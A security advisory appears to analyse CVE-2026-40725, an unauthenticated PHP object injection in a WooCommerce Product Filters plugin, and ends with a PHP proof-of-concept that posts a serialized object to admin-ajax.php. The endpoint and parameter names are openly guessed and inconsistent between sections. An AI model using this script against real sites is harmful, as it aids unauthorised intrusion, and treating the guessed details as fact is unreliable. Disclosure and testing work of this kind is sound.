Atomic Edge analysis of CVE-2026-40725 (metadata-based):
The WooCommerce Product Filters plugin for WordPress, versions up to and including 2.0.6, contains an unauthenticated PHP Object Injection vulnerability. This affects the ‘woocommerce-product-filters’ plugin. The vulnerability carries a CVSS score of 8.1 (HIGH), with a vector string of AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. The CWE classification is 502, indicating Deserialization of Untrusted Data.
Root Cause: The vulnerability stems from the plugin deserializing user-supplied input without proper sanitization or validation. Inferred from the CWE classification and description, the plugin likely passes an unserialize() call on data received from HTTP requests (possibly via a shortcode attribute, AJAX parameter, or REST API endpoint). Without access to the source code, Atomic Edge research cannot confirm the exact input vector, but the most common WordPress pattern for this vulnerability involves processing serialized data from query string parameters or POST bodies. The vulnerability requires no authentication, as the description states unauthenticated attackers can exploit it.
Exploitation: An attacker can craft a malicious serialized PHP object and send it to an exposed endpoint. Based on the plugin slug and common WordPress patterns, the likely attack vector is an AJAX handler registered via wp_ajax_ or wp_ajax_nopriv_ hooks. The endpoint is probably /wp-admin/admin-ajax.php with an action parameter like ‘woocommerce_product_filters_load’ or similar. The attacker sends a POST request containing a serialized payload in a parameter (e.g., ‘filter_data’ or ‘query_data’). The plugin then deserializes this input without validation, creating a PHP object of the attacker’s choosing. Since no POP chain exists in the plugin itself, the attack requires another plugin or theme on the target system that provides useful gadget chains for achieving remote code execution, file deletion, or data exfiltration.
Remediation: Atomic Edge analysis concludes the fix must replace all unserialize() calls with json_decode() or implement strict input validation. The plugin should never deserialize untrusted data. If serialized data is required for internal use, the plugin must use a safe serialization format like JSON and validate that the data matches expected schemas. The patched version 2.0.7 (as indicated by the vulnerable version being 2.0.6) should implement these changes.
Impact: Successful exploitation can lead to complete compromise of the WordPress site. An attacker with a suitable POP chain can achieve remote code execution, delete arbitrary files, or retrieve sensitive data such as database credentials. Despite the high complexity (AC:H in CVSS), the unauthenticated nature and severe impact make this a critical risk for any site running vulnerable versions with additional plugins that contain exploitable gadget chains.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-40725 - WooCommerce Product Filters < 2.0.6 - Unauthenticated PHP Object Injection
/**
* This PoC demonstrates an unauthenticated PHP Object Injection attack
* against the WooCommerce Product Filters plugin (versions <= 2.0.6).
*
* Assumptions:
* - The vulnerable endpoint is admin-ajax.php with action 'wcpf_load_products'
* (based on plugin slug 'woocommerce-product-filters' and common naming patterns)
* - The parameter 'query_data' contains the serialized payload
* - No nonce or capability checks are performed on the AJAX handler
*
* This payload exploits a generic PHP object injection. Replace 'SomeClass' with
* an actual class name from a POP chain present on the target system.
*/
$target_url = 'http://example.com'; // Change this to the target WordPress URL
// The serialized object payload - this example creates a stdClass object
// In a real attack, this would contain a gadget chain to execute arbitrary code
$payload = serialize(new stdClass());
// Alternative payload with a specific class (requires POP chain)
// $payload = 'O:9:"SomeClass":1:{s:4:"prop";s:4:"test";}';
// Initialize cURL
$ch = curl_init();
// Prepare POST data for the AJAX request
$post_data = array(
'action' => 'wcpf_load_products',
'query_data' => $payload
);
// Configure cURL request
curl_setopt_array($ch, array(
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_SSL_VERIFYPEER => false, // Disable for testing with self-signed certs
CURLOPT_TIMEOUT => 30,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));
// Execute the request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo '[!] cURL Error: ' . curl_error($ch) . PHP_EOL;
} else {
echo '[+] Request sent successfully.' . PHP_EOL;
echo '[!] Response: ' . $response . PHP_EOL;
echo '[!] If the server returns a JSON error or empty response, the injection may have succeeded or the endpoint is incorrect.' . PHP_EOL;
}
// Close cURL handle
curl_close($ch);
/**
* Notes:
* - Adjust the 'action' parameter if the actual endpoint differs (check plugin source or network traffic)
* - If no POP chain exists, the object is created but has no effect (PHP garbage collected)
* - For testing, use XDebug or log injection to confirm the unserialize() call
*/
